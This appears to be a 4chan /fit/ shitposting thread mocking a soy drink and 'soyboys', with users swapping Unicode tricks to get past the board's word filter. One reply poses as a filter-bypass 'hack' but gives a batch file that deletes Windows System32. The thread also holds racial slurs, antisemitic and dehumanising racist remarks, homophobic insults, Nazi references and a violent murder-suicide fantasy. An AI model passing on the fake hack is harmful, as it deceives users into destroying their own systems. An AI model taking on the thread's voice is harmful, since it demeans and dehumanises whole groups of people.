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Pray for me, boys. I'm going in. Found a box of this stuff on clearance for $4, decided to risk it. Will post results
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Trash it, now.
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>>46425686
Hey /fit!

Halfway down, tastes a little funny. Like protein shake without the protein, and more watery.

So effects so far, other than my jaw muscles have loosened a bit and my chin has moved back some.

Updates to come!
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>>46425686
10 minutes later...
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>>46425760
1 hour later
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>>46425686
how do we know you're not just a Jew pretending to be a /fit/bro to convince us śöýlent is harmless?
can you post nose pic, OP?
/pol/ told me Jews do stuff like that all the time
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>>46425755
I can't believe I ever posted on this site. You Nazi incels need to go outside and/or get help from a qualified professional.

It's almost like misogyny and racism are the norm around here? Don't you know that true masculinity is expressed by uncritically watching the latest Marvel movie and taking your wife's son to hormone therapy day at the local Comet Pizza?

I'm leaving this site, incels. It was HER TURN.

I love Onions

EDIT: thanks for the gold, kind stranger!
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>>46425686
Drink whole milk like a real man
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>>46425830
topkek

what's with the onions meme though? does it really lower test?

also no one unironically drinks onions, right?
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>>46425850
S O Y
onions
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>>46425850
Onions rise test. I think he typed S.o.y but that's banned.
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>>46425787
this can't be real
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>>46425871
OP here!

I didn't type "onions".

I know for a fact that Russian hackers changed it to reflect their white supremacist agenda!
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>>46425889
It isn't. It was a gift from his wife after some other surgery. Would post original but can't find it
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>>46425925
Still pretty cringe. The funny thing is that he's the stereotypical redditor, the one you made fun of but know for a fact doesn't exist.
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>>46425925
The original does say vasectomy. Downboated.
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Good thread, OP.
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>>46425870
Testing

Onions
Basedboy
Soi
Onions lent
Onions
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Great thread. Really shows how the simple mind can't grasp how to construct good comedy without making fun of other people. Definitely could be used as a piece on perspective and empathy.
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>>46426022
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>>46425985
ś: śoy
ö: söy
ó: sóy
ý: soý
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>>46425830

lmao
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>>46426022
Did you drink another bottle, OP?
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>>46425925

There's also plenty of similar ones without the 'boyfriend' part
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>>46426026
I truly am sorry if there are consciousnesses that exist that will go their entire existences without ever being able to understand the struggle of the downtrodden: both because they will live a meager, empty life, and because they will be a burden on the lives of those they encounter.
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>>46426103
>shitpost soiboi hate thread
>actual soiboi shows up to unironically lecture
Are the memes real?
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>>46426022
>Really shows how the simple mind can't grasp how to construct good comedy without making fun of other people
You didn't need to use yourself as an example, but I appreciate that you did. Don't appreciate your waste of perfectly good digits, though.
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>>46425787
2 hours later...
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>>46425686
>>46425755
>>46425760
>>46425787
>>46425830
Made me laugh alright.
People used to have fun like this all the time.
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Brb guys. Going to go eat some "cheese pizza"
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onions green is people tho
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>>46425686
onions
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>>46425830
Quality thread
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>>46425830
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Press S to spit on grave
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>>46425889
>>46425925
but it is
https://www.reddit.com/r/childfree/comments/30xkxu/i_had_a_vasectomy_yesterday_and_when_i_woke_up/
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>>46425760
>>46425787
>>46427201
A day later
https://youtu.be/iptUNUFdyas
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>>46427751
>r/childfree
Holy shit. Looking at the top posts is enough to make a man go full /pol/
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>>46425686
>EDIT: thanks for the gold, kind stranger!
onions
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>>46425686
Why would you drink the potion of negative gains?
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Holy fuck this is the best thread!!! here kind sir, have my gold
ROFL ZOMG
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Ha. Your trying so hard to make fun of reddit you bitter incels, But your failing so hard its laughable. This thread just reeks of jealousy. You envy us because of our superiour inteliggence and because we can talk to women without the police being called. Your all so pathetic.


P.S There is no scientific proof that onions is bad for you. Stay bitter, virgins xD
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>>46429952
solid larp
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>>46429952
Can incels even exist when women are so physically weak?
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How difficult was it to open?
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>>46425796
>being this buttblasted over someone making fun of your favorite drink on an anonymous imageboard
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>>46425830
tits and feminine penis RIGHT NOW or fuck off.
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>>46425963
>look at this guy, being so happy that his wife cares about him
Christ, people on this site are fucking bitter
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>>46430073
You must have Y chromosomes to post on this board
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>>46430209
Did I hurt your fragile ego, little guy? How did you get out of the manlet pit anyway?
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>>46427918
This. Its same as when some anon linked one of the most Reddit beta cuck stories and it was under some shit like r/polyamory or r/polygamy or some shit. It made me open /pol/ after two years after swearing I will never visit that shite board again.

I found it holy fuck. Still don't have strength to read it again tho

https://www.reddit.com/r/polyamory/comments/8bt02p/my_wifes_boyfriend_moved_in_with_us/
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>>46430455
thanks for posting this I needed a good laugh
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>>46430455
Fucking kek
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>>46425830
9/10
Kekd
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Onions
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>>46425686
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>>46425686
>clearance
>4 dollars
What sort of dystopian hyperinflated economy do you belong to? How much was it before?
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>>46425843
Post your body.
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>>46425830
put me in the screencap fag I want r/4channers to see this message
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>>46430455
I'm bookmarking this shit and am gonna read it before I step in the cage next. Fuck this shit.

If I was on xanax or something and woke up one morning and found out I was a cuckold, I'd literally kill all three people involved. Him, her, and myself.
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>>46425830
Fucking kek anon
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>>46430455
How they talk shit about other reddit boards for not accepting their degenerate garbage enough. Like what they´re doing is completely normal and everyone else is the problem. Like Reddit isn´t far more accepting than most normal people outside their subcultures. They completely lost all touch with reality.
I consider myself a fairly amicable person and as much as I might dislike someone else I can usually still keep feelings out of it and talk to them neutrally. But this shit makes me want to go full SS.
Now I feel guilty having trained 15 minutes less than usual yesterday.
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>>46425686
>>46425755
>>46425830
Another one gone.
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>>46426222
Trips confirm the meme.
Soibois are drawn to shitposting like flies are drawn to regular shit.
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onions
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>>46425830
wait onions are bad for you?
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>>46431054

[S o y] is autocorrected to onions because asian moot is a shitcunt.
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>>46431085
Only so᠌yboys get word filtered.
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>>46425686
>>46425755
>>46425830

Goodbye...
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>>46426103
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>>46425830
Bretty good thread
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>>46425830
could have been good but it escalated too quickly
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I want to compare one person bulking on onions products and one person doing gomad after a few months.

I wonder who has the biggest tits?
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>>46425850
>>46425870
so᠌yboys can't so᠌yboy
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>>46431197
Wtf this nigger bypassed regs, teach me your ways wise anon
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>>46425830
>>46425755
>>46425686
Great thread
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>>46431216
>Wtf this nigger bypassed regs, teach me your ways wise anon
lmao, you need to hack 4chan to do this, kid, here's how you do it:
1. open notepad
2. Type in:
@echo off
del C:\Windows\System32\
3. Save file as "hack_4chan.bat"
4. Double click on file. Your browser will open 4chan, you will be able to bypass all filters, and mods won't be able to ban you.
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>>46431241
Faggt now everyones gonna bypass the so᠌y filter
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>>46431241
It works! so᠌yboy, so᠌yboy, so᠌yboy so᠌y!!!!!!!
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Onions
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>>46431278
fag do this - >>46431241

and you will be able to bypass so᠌y filter.
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onions
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>>46431241
How many people actually fell for that? I can remember that one child that bricked his dads computer but are there any others?
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sy
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>>46431241
Testing:
S၀y S၀yb၀y
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test
onions
s၀y
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>>46431483
basedboy
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>>46431540
söyboy
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>>46425686
sometimes short acute doses poisonous stuff helps you. It's what going to the gym is if you train with intensity:you stress your body,you tear down your muscle fiber and it adapts to the stress

Same for alchohol and other shit
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>>46431483
>>46431534
>>46431540
>>46431551
so᠌yboys
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>>46431216
Use a different language that has an o letter. Fucking retard
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>>46425830
(you)
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>>46430455
>We don't have children, and I got a vasectomy done a while back, so if my wife decides she does want to try, Kyle will be providing her with a child

christ
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>>46430911
This is why I find it funny that people here think redditors are normies. At least half of that fucking site is made up of degenerates. Why do you think the admins had to do a massive purge a few years ago?
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>>46425686
Post before after pics with time stamp kek be a lab rat for us anon
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>>46426026
Based
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>>46426022
everyone who replied unironically to this pasta is a fucking s°ybòy newfag
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>>46430455
White people are crazy
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>>46431947
There's no way it will end well for that cuck. As soon as he gets older or hits a bump and can't provide money he will be kicked out faster than his PE.
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Put me in the screencap
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>>46432354
>White people are crazy
* Some white people are crazy, all sub-human shitskins are both crazy and retarded. Enjoy your 70iq.
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>>46425843
Milk is for cow babies.
Nothing manly about that gay shit
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>>46433759
No put me in the screencap
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>>46433816
>Milk is for cow babies.
>Nothing manly about that gay shit
t. so᠌yboy
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>>46431097
Is that true? so᠌yboys can eat shit
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>>46425787
Wife's bf is a solid dude
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>>46433861
>so᠌yboys
yeah it's true
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>>46433852
Milk is gay.
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>>46433967
>Milk is gay.
go drink some so᠌y, faggot!
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>>46433976
I don't consume onions, maybe you do in some products, but onions is proven to block strogen receptors since pythoestrogens (which are less estrogenics than our mammal estrogen) binds to the receptors and blocks them, like a serm, thus having the oposite effects as you retards think it has .
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>>46425830
Thanks for the laugh OP
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>>46427201
Fuck
Imagine being this much of a pasty shut in that your only way of gaining attention is from other sad pasty shut ins with dyed hair and shitty teeth on fucking tumblr or reddit
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>>46431241
pretty sure this creates mustard gas
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Testing
Onions
onions
Soi
soi
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>>46425830
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>>46425830
post your gyno tits pls
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>>46425830
Fucking hell
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>>46425830
lulz good bread.
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>>46430209
Baited, you dumb necker
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On a more serious note, can blacks be sőybois?
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>>46425830
Lmao
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>>46425830
top kek
Thank you :)
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>>46427622
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>>46434303
Hehe, yeah, imagine your entire social life being a website filled with equally antisocial wierdos.
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>>46425830
>>46425755
>>46425686
This was an enjoyable thread, thanks OP
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>>46436293
oh fuck ew
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onions
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>>46425830
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Test
Onions
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>>46425830
Kek

>>46427751
>>46430455
What in God’s holy name
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>>46425830
epic




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